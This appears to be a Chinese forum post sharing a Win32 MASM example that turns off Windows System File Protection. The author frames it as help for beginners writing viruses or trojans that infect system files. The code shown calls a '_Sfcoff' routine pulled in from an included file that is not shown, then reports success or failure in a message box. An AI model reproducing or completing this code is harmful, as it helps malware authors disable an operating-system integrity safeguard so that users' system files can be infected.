关闭系统文件保护例子.asm

对于写一些感染系统文件的病毒或木马时,那个"系统文件保护"好象满让人讨厌的,下面给大家一个关闭系统文件保护汇编例子,希望对和我一样初学win32汇编的新手有点帮助!

    .386
    .model flat, stdcall
    option casemap :none
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; Include 文件定义
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include    windows.inc
include    user32.inc
includelib  user32.lib
include    kernel32.inc
includelib  kernel32.lib

include    advapi32.inc
includelib  advapi32.lib

    .code
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;冰狐浪子作品代码节选
include    关闭文件保护.asm
Fsb  db  "无法关闭文件保护!",0
Fcg  db  "成功关闭文件保护!",0

start:
  call  _Sfcoff    ;关闭文件保护

  .if eax
    invoke  MessageBox,NULL,offset Fcg,offset Fcg,MB_OK
  .else
    invoke  MessageBox,NULL,offset Fsb,offset Fsb,MB_OK
  .endif
ret
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    end  start